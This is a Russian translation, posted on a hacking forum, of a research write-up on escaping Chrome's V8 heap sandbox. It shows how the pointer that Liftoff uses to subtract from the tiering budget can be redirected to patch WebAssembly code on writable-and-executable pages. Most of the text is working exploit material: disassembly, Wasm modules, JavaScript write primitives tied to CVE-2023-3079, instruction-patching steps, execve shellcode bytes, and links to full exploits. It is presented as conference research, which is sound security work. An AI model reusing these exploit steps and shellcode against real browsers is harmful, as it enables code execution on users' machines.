Злоупотребление Liftoff и эффективный побег из sbx

D2

Администратор
Регистрация
19 Фев 2025
Сообщения
4,380
Реакции
0
Это исследование было опубликовано во время H2HC 2023! Большое спасибо @bsdaemon, @filipebalestra , @gabrielnb и всей команде за создание и поддержку этого невероятного мероприятия!

Chrome внедряет новые меры по защите последствий, чтобы сделать невозможным или, по крайней мере, затруднить использование версии 8, поскольку сложность реализации самой современной спецификации ECMAScript и поддержание производительности на высоком уровне является очень сложной задачей и огромной поверхностью атаки. Учитывая это, был разработан проект «V8 Sandbox».

Эта песочница немного отличается от обычных. Для v8 не существует двух отдельных процессов или ограничений мощности; конструкция песочницы основана на изоляции кучи и защите от повреждения. По сути, v8 выделяет область памяти, так называемую «песочницу V8», и помещает в нее все объекты JSObject. То есть сами все объекты JS. Важным моментом является удаление всех 64-битных необработанных указателей из песочницы и замена их смещениями (от 32 до 40 бит) или индексами сторонних таблиц (вне кучи). Таким образом, при обнаружении ошибки вы ограничиваетесь повреждением данных внутри песочницы, что приводит не к чему иному, как к сбою.

1708674130127.png



Мы видим, что для доступа к ArrayBuffer, мы используем 40-битное смещение. Следовательно, если такой адрес удастся повредить, то будет невозможно выйти из песочницы, например, для записи на страницу Wasm RWX. Аналогично, для доступа к внешним объектам, таким как DOM, будет использоваться индекс (0, 1, 2, 3…), и то же самое произойдет с Code Pointers. Поскольку у нас нет смещения указателя функции, возможность выполнения кода с ней JIT spray также аннулируется — метод, при котором JIT используется для создания определенных mov инструкций, а затем смещает указатель точки входа для выполнения шелл-кода.

Глядя на эту обширную диаграмму, она кажется довольно пугающей.

Liftoff

Liftoff — это компилятор WebAssembly v8, целью которого является максимально быстрая генерация относительной сборки кода Wasm. Если в дальнейшем потребуется оптимизация, код будет оптимизирован TurboFan. Что интересно, так это некоторые коды операций, сгенерированные Liftoff. Мы можем использовать следующий код Wasm и увидеть скомпилированный результат:

Код: Скопировать в буфер обмена
Код:
;; Literally do nothing
(module
  (func (export "nop")
    nop
  )
)

Код: Скопировать в буфер обмена
Код:
// ./d8 --print-code --allow-natives-syntax --shell exp.js
V8 version 12.1.0 (candidate)
d8> nop()
--- WebAssembly code ---
name: wasm-function[0]
index: 0
kind: wasm function
compiler: Liftoff
Body (size = 128 = 80 + 48 padding)
Instructions (size = 68)
0x3b34546a5c00     0  55                   push rbp
0x3b34546a5c01     1  4889e5               REX.W movq rbp,rsp
0x3b34546a5c04     4  6a08                 push 0x8
0x3b34546a5c06     6  56                   push rsi
0x3b34546a5c07     7  4881ec10000000       REX.W subq rsp,0x10
0x3b34546a5c0e     e  493b65a0             REX.W cmpq rsp,[r13-0x60]
0x3b34546a5c12    12  0f8613000000         jna 0x3b34546a5c2b  <+0x2b>
0x3b34546a5c18    18  4c8b5677             REX.W movq r10,[rsi+0x77]
0x3b34546a5c1c    1c  41832a18             subl [r10],0x18
0x3b34546a5c20    20  0f8810000000         js 0x3b34546a5c36  <+0x36>
0x3b34546a5c26    26  488be5               REX.W movq rsp,rbp
0x3b34546a5c29    29  5d                   pop rbp
0x3b34546a5c2a    2a  c3                   retl
0x3b34546a5c2b    2b  e8d0f6ffff           call 0x3b34546a5300  (jump table)
0x3b34546a5c30    30  488b75f0             REX.W movq rsi,[rbp-0x10]
0x3b34546a5c34    34  ebe2                 jmp 0x3b34546a5c18  <+0x18>
0x3b34546a5c36    36  e825f5ffff           call 0x3b34546a5160  (jump table)
0x3b34546a5c3b    3b  488b75f0             REX.W movq rsi,[rbp-0x10]
0x3b34546a5c3f    3f  ebe5                 jmp 0x3b34546a5c26  <+0x26>
0x3b34546a5c41    41  0f1f00               nop

Source positions:
 pc offset  position
        2b         0  statement
        36         2  statement

Safepoints (entries = 1, byte size = 10)
0x3b34546a5c30     30  slots (sp->fp): 00000000

RelocInfo (size = 0)

--- End code ---

В середине функции мы видим две очень своеобразные инструкции:

Код: Скопировать в буфер обмена
Код:
;; [1]
mov r10, [rsi+0x77]
subl [r10], 0x18

Если мы воспользуемся отладчиком , мы увидим, что rsi это указатель на объект WasmInstance, который находится внутри песочницы V8:

1708674185163.png



Хм, интересно. Давайте воспользуемся другим кодом, чтобы увидеть другую ситуацию:

Код: Скопировать в буфер обмена
Код:
;; Get 2 params, 32bits offset and 64bits to write
(module
  (memory 1)

  (func (export "write")
    (param $offset i32)  ;; Offset within memory
    (param $value i64)   ;; 64-bit integer to write
    (i64.store
      (local.get $offset)  ;; Get the memory offset
      (local.get $value)   ;; Get the i64 value
    )
  )
)

Код: Скопировать в буфер обмена
Код:
// ./d8 --print-code --allow-natives-syntax --shell exp.js
V8 version 12.1.0 (candidate)
d8> write(0, 10n)
--- WebAssembly code ---
name: wasm-function[1]
index: 1
kind: wasm function
compiler: Liftoff
Body (size = 128 = 104 + 24 padding)
Instructions (size = 92)
0x2376a15e0b80     0  55                   push rbp
0x2376a15e0b81     1  4889e5               REX.W movq rbp,rsp
0x2376a15e0b84     4  6a08                 push 0x8
0x2376a15e0b86     6  56                   push rsi
0x2376a15e0b87     7  4881ec10000000       REX.W subq rsp,0x10
0x2376a15e0b8e     e  493b65a0             REX.W cmpq rsp,[r13-0x60]
0x2376a15e0b92    12  0f8623000000         jna 0x2376a15e0bbb  <+0x3b>
0x2376a15e0b98    18  488b4e27             REX.W movq rcx,[rsi+0x27]
0x2376a15e0b9c    1c  48c1e918             REX.W shrq rcx, 24
;;                    ^ opcode do shr
0x2376a15e0ba0    20  4903ce               REX.W addq rcx,r14
0x2376a15e0ba3    23  48891401             REX.W movq [rcx+rax*1],rdx
0x2376a15e0ba7    27  4c8b5677             REX.W movq r10,[rsi+0x77]
0x2376a15e0bab    2b  41836a0427           subl [r10+0x4],0x27
0x2376a15e0bb0    30  0f8814000000         js 0x2376a15e0bca  <+0x4a>
0x2376a15e0bb6    36  488be5               REX.W movq rsp,rbp
0x2376a15e0bb9    39  5d                   pop rbp
0x2376a15e0bba    3a  c3                   retl
0x2376a15e0bbb    3b  50                   push rax
0x2376a15e0bbc    3c  52                   push rdx
0x2376a15e0bbd    3d  e83ef7ffff           call 0x2376a15e0300  (jump table)
0x2376a15e0bc2    42  5a                   pop rdx
0x2376a15e0bc3    43  58                   pop rax
0x2376a15e0bc4    44  488b75f0             REX.W movq rsi,[rbp-0x10]
0x2376a15e0bc8    48  ebce                 jmp 0x2376a15e0b98  <+0x18>
0x2376a15e0bca    4a  50                   push rax
0x2376a15e0bcb    4b  51                   push rcx
0x2376a15e0bcc    4c  52                   push rdx
0x2376a15e0bcd    4d  e88ef5ffff           call 0x2376a15e0160  (jump table)
0x2376a15e0bd2    52  5a                   pop rdx
0x2376a15e0bd3    53  59                   pop rcx
0x2376a15e0bd4    54  58                   pop rax
0x2376a15e0bd5    55  488b75f0             REX.W movq rsi,[rbp-0x10]
0x2376a15e0bd9    59  ebdb                 jmp 0x2376a15e0bb6  <+0x36>
0x2376a15e0bdb    5b  90                   nop

Protected instructions:
 pc offset
        23        

Source positions:
 pc offset  position
        23         5  statement
        3d         0  statement
        4d         8  statement

Safepoints (entries = 1, byte size = 11)
0x2376a15e0ba3     23  slots (sp->fp): 0000000000000000

RelocInfo (size = 0)

--- End code ---


В середине функции мы видим следующие инструкции:

Код: Скопировать в буфер обмена
Код:
;; [2]
mov rcx, [rsi+0x27] ;; address from v8 cage
shr rcx, 24         ;; shift to limit address size
add rcx, r14        ;; add base with sandbox offset
mov [rcx+rax], rdx  ;; write we 64bit(rdx) to base(rcx) + input offset(rax)

Мы можем проанализировать в компиляторе код, отвечающий за генерацию этих фрагментов кода, и понять, в чем именно разница между этими двумя доступами к памяти:

Код: Скопировать в буфер обмена
Код:
// https://source.chromium.org/chromium/chromium/src/+/main:v8/src/wasm/baseline/x64/liftoff-assembler-x64-inl.h;l=323-340;drc=c2783fca4a60fb1ca2cd3b05bc7676396905f8f9
void LiftoffAssembler::CheckTierUp(int declared_func_index, int budget_used,
                                   Label* ool_label,
                                   const FreezeCacheState& frozen) {
  Register instance = cache_state_.cached_instance;
  if (instance == no_reg) {
    instance = kScratchRegister;
    LoadInstanceFromFrame(instance);
  }

  Register budget_array = kScratchRegister;  // Overwriting {instance}.
  constexpr int kArrayOffset = wasm::ObjectAccess::ToTagged(
      WasmInstanceObject::kTieringBudgetArrayOffset);
  movq(budget_array, Operand{instance, kArrayOffset});

  // [3]
  int offset = kInt32Size * declared_func_index;
  subl(Operand{budget_array, offset}, Immediate(budget_used));
  j(negative, ool_label);
}

Код: Скопировать в буфер обмена
Код:
// https://source.chromium.org/chromium/chromium/src/+/main:v8/src/codegen/x64/macro-assembler-x64.cc;l=449-457;drc=8de6dcc377690a0ea0fd95ba6bbef802f55da683
void MacroAssembler::DecodeSandboxedPointer(Register value) {
  ASM_CODE_COMMENT(this);
#ifdef V8_ENABLE_SANDBOX
// [4]
  shrq(value, Immediate(kSandboxedPointerShift));
  addq(value, kPtrComprCageBaseRegister);
#else
  UNREACHABLE();
#endif
}

В первом доступе ([1]) сборка была сгенерирована функцией CheckTierUp([3]), которая извлекает этот адрес с помощью Operand{instance, kArrayOffset}, скомпилированном в mov r10, [instance+kArrayOffset], а во втором фрагменте кода ([2]) функция DecodeSandboxedPointer сгенерировала этот доступ, выполнив правильные shift и add([4]). Другими словами, мы просто доверяем указателю из песочницы и вычитаем budget_used.

Если вы помните, что страницы WebAssembly — это RWX, вы можете заметить кое-что интересное: у нас есть шеллкодинг CTF!

Если мы запишем адрес инструкции shr rcx, 24 по адресу [rsi+0x77], мы сможем вычесть 0x18 откуда-нибудь из опкода. Давайте посмотрим, какие инструкции мы можем создать с помощью этого:

Код: Скопировать в буфер обмена
Код:
r3tr0@pwn:~$ rasm2 -d 48c1e918
shr rcx, 0x18
r3tr0@pwn:~$ rasm2 -d 30c1e918 # 0x48-0x18=0x30
xor cl, al
invalid
invalid
r3tr0@pwn:~$ rasm2 -d 48a9e918 # 0xc1-0x18=0xa9
invalid
invalid
invalid
invalid
r3tr0@pwn:~$ rasm2 -d 48c1d118 # 0xe9-0x18=0xd1
rcl rcx, 0x18

Круто! Мы нашли кое-что очень полезное! Мы можем заменить shr rcx, 0x18 инструкцию на rcl rcx, 0x18, которая просто «поворачивает» значение. Этого кажется достаточным, чтобы обойти сдвиг и использовать 64-битные адреса. Таким образом, мы можем просто использовать эту функцию как «записать куда угодно» и скопировать шеллкод в какую-нибудь функцию Wasm.

Эксплойты

Давайте проверим нашу теорию! Мы можем сделать это двумя способами: либо с помощью некоторых последних CVE, либо с помощью API повреждения памяти (странно, что они существуют, но их целью является именно тестирование таких вещей, как песочница). Мы можем активировать его с помощью флага v8_expose_memory_corruption_api=true в args.gn файле. В этой статье мы проверим оба подхода.

CVE-2023-3079
Эксплойт на основе: https://github.com/mistymntncop/CVE-2023-3079.

Это уязвимость, из-за которой мы сливаем TheHole и вызываем путаницу типов. Я не буду вдаваться в подробности, поскольку это не является целью данной статьи, но если вы хотите получить более подробное представление об ошибке, обратитесь к исходному эксплойту здесь. - (https://github.com/mistymntncop/CVE-2023-3079/blob/main/exploit.js)

Давайте повторим тот же процесс и посмотрим сгенерированный код:

Код: Скопировать в буфер обмена
Код:
(module
  (func $nop (export "nop")
    nop
  )
)

Код: Скопировать в буфер обмена
Код:
--- WebAssembly code ---
name: wasm-function[0]
index: 0
kind: wasm function
compiler: Liftoff
Body (size = 128 = 88 + 40 padding)
Instructions (size = 76)
0x1c6675a9740     0  55                   push rbp
0x1c6675a9741     1  4889e5               REX.W movq rbp,rsp
0x1c6675a9744     4  6a08                 push 0x8
0x1c6675a9746     6  56                   push rsi
0x1c6675a9747     7  4881ec10000000       REX.W subq rsp,0x10
0x1c6675a974e     e  488b462f             REX.W movq rax,[rsi+0x2f]
0x1c6675a9752    12  483b20               REX.W cmpq rsp,[rax]
0x1c6675a9755    15  0f8619000000         jna 0x1c6675a9774  <+0x34>
0x1c6675a975b    1b  488b868f000000       REX.W movq rax,[rsi+0x8f]
0x1c6675a9762    22  8b08                 movl rcx,[rax]
0x1c6675a9764    24  83e91b               subl rcx,0x1b
0x1c6675a9767    27  0f8812000000         js 0x1c6675a977f  <+0x3f>
0x1c6675a976d    2d  8908                 movl [rax],rcx
0x1c6675a976f    2f  488be5               REX.W movq rsp,rbp
0x1c6675a9772    32  5d                   pop rbp
0x1c6675a9773    33  c3                   retl
0x1c6675a9774    34  e867fbffff           call 0x1c6675a92e0  (jump table)
0x1c6675a9779    39  488b75f0             REX.W movq rsi,[rbp-0x10]
0x1c6675a977d    3d  ebdc                 jmp 0x1c6675a975b  <+0x1b>
0x1c6675a977f    3f  e8dcf9ffff           call 0x1c6675a9160  (jump table)
0x1c6675a9784    44  488b75f0             REX.W movq rsi,[rbp-0x10]
0x1c6675a9788    48  ebe5                 jmp 0x1c6675a976f  <+0x2f>
0x1c6675a978a    4a  6690                 nop

Source positions:
 pc offset  position
        34         0  statement
        3f         2  statement

Safepoints (entries = 1, byte size = 10)
0x1c6675a9779     39  slots (sp->fp): 00000000

RelocInfo (size = 0)

--- End code ---

Во время тестов я не смог найти способ использовать это значение 0x1b для создания других полезных кодов операций, поэтому у меня возникла другая идея. Значение subl меняется в зависимости от версии v8 и взаимодействия кода со стеком. Цель состоит в том, чтобы сгенерировать две функции «nop», одна с более высоким значением, budget_used чем другая, и использовать первую функцию для вычитания subl значения из второй. Чтобы проиллюстрировать это лучше:

Код: Скопировать в буфер обмена
Код:
(module
  (memory 1)
  (func $nop (export "nop")
    i32.const 1
    i32.const 0xdead
    i32.store
  )

  (func (export "nop2")
    nop
    i32.const 0
    i32.const 0xdead
    i32.store
    i32.const 1
    i32.const 0xdead
    i32.store
  )
)

Код: Скопировать в буфер обмена
Код:
V8 version 11.4.0 (candidate)
d8> nop()
[truncated]
0x1a787102975b    1b  488b868f000000       REX.W movq rax,[rsi+0x8f]
0x1a7871029762    22  8b08                 movl rcx,[rax]
0x1a7871029764    24  83e91b               subl rcx,0x1b
[truncated]
d8> nop2()
[truncated]
0x1a78710297f5    35  488b868f000000       REX.W movq rax,[rsi+0x8f]
0x1a78710297fc    3c  8b5008               movl rdx,[rax+0x8]
0x1a78710297ff    3f  83ea35               subl rdx,0x35
[truncated]

И в эксплойте мы вычтем 0x1bиз 0x35:

Код: Скопировать в буфер обмена
Код:
v8_write64(wasm_instance_addr + tiering_budget_array_off, sub_instruction_addr);
nop(); // transform "subl rdx,0x35" in "subl rdi,0x7"

И после этого мы можем более уверенно вычитать значения. Давайте создадим еще две функции в WebAssembly: arb_write, из которой мы удалим проверки целостности, и shell, «nop», куда мы скопируем наш шеллкод:

Код: Скопировать в буфер обмена
Код:
(func $main (export "arb_write")
  (param $offset i32)  ;; Offset within memory
  (param $value i64)   ;; 64-bit integer to write
 
  (i64.store
    (local.get $offset)  ;; Get the memory offset
    (local.get $value)   ;; Get the i64 value
  )
)
(func (export "shell")
  nop
)

Теперь с помощью нашего subl [arb address], 0x7 заменим некоторые инструкции в arb_write:

Код: Скопировать в буфер обмена
Код:
v8_write64(wasm_instance_addr + tiering_budget_array_off, shr_instruction_addr - 4n);
nop2(); // transform "shrq rcx, 24" in "shr r9d, 0x18"

v8_write64(wasm_instance_addr + tiering_budget_array_off, add_instruction_addr - 4n);
nop2(); // transform "addq rcx,r14" in "add ecx, esi"
v8_write64(wasm_instance_addr + tiering_budget_array_off, add_instruction_addr - 4n + 2n);
nop2(); // transform "add ecx, esi" in "add eax,edi"
v8_write64(wasm_instance_addr + tiering_budget_array_off, add_instruction_addr - 4n + 2n);
nop2(); // transform "add eax,edi" in "add eax, eax"

v8_write64(wasm_instance_addr + tiering_budget_array_off, orig_sub_addr);

Мы заменили инструкции shrq rcx, 24 на shr r9d, 0x18 и addq rcx, r14 на add eax, eax. Сравнение до/после:

Код: Скопировать в буфер обмена
Код:
V8 version 11.4.0 (candidate)
d8> arb_write(0, 10n)    
[truncated]
0x1d26426fd81b    1b  488b4e1f             REX.W movq rcx,[rsi+0x1f]
0x1d26426fd81f    1f  48c1e918             REX.W shrq rcx, 24
0x1d26426fd823    23  4903ce               REX.W addq rcx,r14
0x1d26426fd826    26  48891401             REX.W movq [rcx+rax*1],rdx
0x1d26426fd82a    2a  488b9e8f000000       REX.W movq rbx,[rsi+0x8f]
0x1d26426fd831    31  8b7b08               movl rdi,[rbx+0x8]
0x1d26426fd834    34  83ef2a               subl rdi,0x2a
[truncated]

Код: Скопировать в буфер обмена
Код:
pwndbg> x/10i 0x1d26426fd81b
   0x1d26426fd81b:  mov    rcx,QWORD PTR [rsi+0x1f]
   0x1d26426fd81f:  shr    r9d,0x18
   0x1d26426fd823:  rex.X  add eax,eax
   0x1d26426fd826:  mov    QWORD PTR [rcx+rax*1],rdx
   0x1d26426fd82a:  mov    rbx,QWORD PTR [rsi+0x8f]
   0x1d26426fd831:  mov    edi,DWORD PTR [rbx+0x8]
   0x1d26426fd834:  sub    edi,0x2a
[truncated]

Идеально! Наконец, мы можем просто скопировать наш шеллкод и выполнить оболочку:

Код: Скопировать в буфер обмена
Код:
const shellcode = [
  0x732f6e69622fb848n, 0x66525f5450990068n, 0x5e8525e54632d68n, 0x68736162000000n, 0xf583b6a5e545756n, 0x5n
];

console.log("[+] Copying shellcode")
v8_write64(wasm_instance_addr + 0x1fn, shellcode_addr);
shellcode.map((code, i) => {
  arb_write(i * 4, code);
})

console.log("[+] Poping shell!!!")
shell();

1708674415674.png



Финальный эксплойт

API повреждения памяти

Адаптировать эксплойт с использованием API повреждения памяти не очень сложно. Мы можем создать следующие функции для имитации успешной эксплуатации внутри песочницы v8:

Код: Скопировать в буфер обмена
Код:
let sandboxMemory = new DataView(new Sandbox.MemoryView(0, 0x100000000));

function addrOf(obj) {
  return Sandbox.getAddressOf(obj);
}

function v8_read64(addr) {
  return sandboxMemory.getBigUint64(Number(addr), true);
}

function v8_write64(addr, val) {
  return sandboxMemory.setBigInt64(Number(addr), val, true);
}

И чтобы написать эксплойт, нам просто нужно немного отладить, чтобы найти новые смещения и значения, которые нам нужны/могут повредить:

1708674470668.png



(https://github.com/R3tr074/exploits/blob/master/browser/v8/v8-sandbox-escape/exploit.js)

Переведено специально для XSS.IS
Автор перевода: yashechka
Источник: https://retr0.zip/blog/abusing-Liftoff-assembly-and-efficiently-escaping-from-sbx.html
 
Сверху Снизу